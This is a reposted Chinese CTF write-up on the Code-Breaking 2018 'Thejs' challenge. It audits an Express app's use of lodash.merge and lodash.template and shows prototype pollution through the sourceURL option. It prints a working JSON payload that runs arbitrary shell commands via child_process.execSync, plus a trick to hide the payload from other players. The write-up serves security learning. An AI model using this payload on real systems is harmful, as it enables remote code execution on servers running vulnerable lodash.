【安全】原型链污染 - Code-Breaking 2018 Thejs

这篇具有很好参考价值的文章主要介绍了【安全】原型链污染 - Code-Breaking 2018 Thejs。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

准备工作

环境搭建

加载项目

复现 

代码审计

payload

 总结


准备工作

环境搭建

        Nodejs

        BurpSuite

加载项目

         项目链接

① 下载好了cmd切进去

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

 【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

② 安装这个项目

 

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

可以检查一下

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

③运行并监听

 

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

        可以看到已经在3000端口启动了 

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

复现 

代码审计

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
//以上都是引入各种模块

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

  看到了这一句,所以要先了解lodash模块是干什么的

data = lodash.merge(data, req.body)

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并  

 逻辑就是用户提交数据,通过lodash.merge将数据一直追加到session中

meige显然是可以利用的,然后我们要找一个可以利用的属性了

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

        ?为什么要利用sourceURL这个变量,因为需要注入的变量需要在程序后段被调用,也就是需要找到一个未定义且后面被调用的变量进行注入 

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

        重点关注一下,template的第二个参数是options,然后sourceURL这个属性默认为空,如果options中传sourceURL就会将值赋过去。这样sourceURL就是我们可以控制的了,

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

         这里会把sourceURL拼接进了这个函数,那我们就可以构造child_process.exec()了

        但是对代码的上下文都没有require,所以在执行的时候换成👇

global.process.mainModule.constructor._load('child_process').execSync('whoami')

        whoami就是任意命令执行的地方

payload

{
	"__proto__" :
	{
		"sourceURL" :
"\u000areturn ()=>{for (var a in {}) {delete Object.prototype.a;} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}//"
	}
}

{"__proto__" : {"sourceURL" : ""}}为主体
\u000a是url编码的换行,目的让return在开头

return ()=>{for (var a in {}) {delete Object.prototype.a;}
👆这句的作用自己复现的时候意义不大,目的是清空Object原型对象的属性
    防止被别的ctf选手抓包看到我们的payload

return global.process.mainModule.constructor._load('child_process').execSync('whoami')}//
这句才是关键,用了这个取代require('child_process').exec最后//注释掉原本的return以及后边的内容

注:{"__proto__" : ""}这里的__proto__在正常传递的时候可不会被当作属性,只有以json格式传递,这里不好用json.parse函数,那就直接在请求头里改Content-type就好

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

 calc计算器执行成功

【安全】原型链污染 - Code-Breaking 2018 Thejs,安全,javascript,前端,原型链污染,node.js

 

 总结

        感觉原型链污染相对来说难一点点,主要难点在代码审计上文章来源地址https://www.toymoban.com/news/detail-668626.html

到了这里,关于【安全】原型链污染 - Code-Breaking 2018 Thejs的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 安全作业-Race竞争型漏洞、原型链污染

      一、第一题js代码 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。 由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句: data , row , col ,都是我们post传入的值,都是可控的,所以

    2024年02月13日
    浏览(35)
  • 安全开发-JS应用&NodeJS指南&原型链污染&Express框架&功能实现&审计&WebPack打包器&第三方库JQuery&安装使用&安全检测

    Node.js是运行在服务端的JavaScript 文档参考:https://www.w3cschool.cn/nodejs/ Nodejs安装:https://nodejs.org/en 三方库安装 express:Express是一个简洁而灵活的node.js Web应用框架 body-parser:node.js中间件,用于处理 JSON, Raw, Text和URL编码的数据。 cookie-parser:这就是一个解析Cookie的工具。通过re

    2024年02月11日
    浏览(61)
  • 原型污染

    原型污染是一种针对JavaScript运行时的注入攻击。通过原型污染,攻击者可以控制对象属性的默认值,从而篡改应用程序的逻辑并可能导致服务被拒绝,甚至在某些极端情况下远程执行代码。 现在,你是不是满脑子充满了各种疑问。到底什么是“在运行时改写对象的属性”?

    2024年02月05日
    浏览(42)
  • JavaScript原型链污染

    在浏览某个论坛的时候,第一次看到了JavaScript原型链污染漏洞。当时非常的好奇,当时我一直以为js作为一种前端语言,就算存在漏洞也是针对前端,不会危害到后端,因此我以为这种漏洞危害应该不大。可当我看到他的漏洞危害还有可以执行任意命令的时候,发现可能我想

    2024年02月10日
    浏览(40)
  • 渗透攻击方法:原型链污染

    目录 一、什么是原型链 1、原型对象 2、prototype属性 3、原型链 1、显示原型 2、隐式原型 3、原型链 4、constructor属性 二、原型链污染重现 实例 Nodejs沙箱逃逸 1、什么是沙箱(sandbox) 2、vm模块 JavaScript 中所有的对象都有一个内置属性,称为它的  prototype (原型)。它本身是一

    2024年02月14日
    浏览(41)
  • JavaScript原型链污染学习记录

    0 原型及其搜索机制 NodeJS原型机制,比较官方的定义: 我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象, 而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法 设计原型的初衷无非是对于每个实例对象,其拥有的共同

    2024年02月02日
    浏览(42)
  • 漏洞复现--原型链污染、沙箱逃逸绕过

    目录 一、原型链污染 1.prototype和__proto__区别??? 2.原型链污染是什么??? 3.哪些情况原型链会被污染??? 4.原型链污染例题 二、沙箱逃逸绕过 1.如何实现沙箱逃逸?  2.如何实现绕过? 原型污染是一个安全漏洞,非常特定于 JavaScript。 __proto__ 检查其成员或调用来找出

    2024年02月14日
    浏览(40)
  • js实现原型链污染,沙箱绕过

    沙箱绕过\\\"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作

    2024年02月13日
    浏览(39)
  • JavaScript原型链污染漏洞复现与防范

    目录 什么是原型链污染漏洞? 复现原型链污染漏洞 防范原型链污染漏洞 原型链污染是JavaScript中的一种安全漏洞,利用该漏洞可以修改对象的原型,从而影响对象及其属性的行为。攻击者可以通过修改原型链来添加或覆盖属性,甚至在全局范围内添加恶意代码,导致应用程

    2024年02月13日
    浏览(40)
  • NodeJS原型链污染&ctfshow_nodejs

    前言 最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾 0x01.原型与原型链 js中一切皆对象,其中对象之间是存在共同和差异的。 共同:对象的最终原型是 Object 的原型 null 差异:函数对象中有 prototype 属性,但是实力对象没有 1、原型的定义: 原型是Javascri

    2024年02月14日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包